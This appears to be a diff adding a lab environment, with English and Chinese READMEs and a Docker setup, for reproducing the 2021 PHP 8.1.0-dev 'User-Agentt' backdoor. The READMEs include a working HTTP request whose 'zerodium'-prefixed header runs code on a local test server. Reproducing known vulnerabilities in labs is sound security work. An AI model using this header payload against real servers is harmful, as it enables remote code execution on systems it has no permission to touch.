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php/8.1-backdoor/README.md

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+# PHP 8.1.0-dev User-Agentt Backdoor Remote Code Execution
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+PHP version 8.1.0-dev was implanted with a backdoor on March 28, 2021, but the backdoor was quickly discovered and removed. When this backdoor is present on a server, an attacker can execute arbitrary code by sending a **User-Agentt** header.
+
+References:
+
+- https://news-web.php.net/php.internals/113838
+- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
+- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
+
+## Vulnerable Environment
+
+Start a PHP 8.1-dev server with the backdoor.
+
+```
+docker compose up -d
+```
+
+After the environment is started, the service runs at ``http://your-ip:8080``.
+
+## Vulnerability Reproduce
+
+Send the following request to execute the code `var_dump(233*233);`:
+
+```
+GET / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+User-Agentt: zerodiumvar_dump(233*233);
+Connection: close
+
+
+```
+
+![](1.png)

php/8.1-backdoor/README.zh-cn.md

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+# PHP 8.1.0-dev User-Agentt 后门导致远程代码执行漏洞
+
+PHP 8.1.0-dev 版本在2021年3月28日被植入后门，但是后门很快被发现并清除。当服务器存在该后门时，攻击者可以通过发送**User-Agentt**头来执行任意代码。
+
+参考链接：
+
+- https://news-web.php.net/php.internals/113838
+- https://github.com/php/php-src/commit/c730aa26bd52829a49f2ad284b181b7e82a68d7d
+- https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
+
+## 漏洞环境
+
+执行如下命令启动一个存在后门的PHP 8.1服务器：
+
+```
+docker compose up -d
+```
+
+环境启动后，服务运行在`http://your-ip:8080`。
+
+## 漏洞复现
+
+发送如下数据包，可见代码`var_dump(233*233);`成功执行：
+
+```
+GET / HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
+User-Agentt: zerodiumvar_dump(233*233);
+Connection: close
+
+
+```
+
+![](1.png)

php/8.1-backdoor/docker-compose.yml

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+version: '2'
+services:
+ web:
+   image: vulhub/php:8.1-backdoor
+   volumes:
+    - ./index.php:/var/www/html/index.php
+   ports:
+    - "8080:80"

php/8.1-backdoor/index.php

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+<?php
+echo "hello world";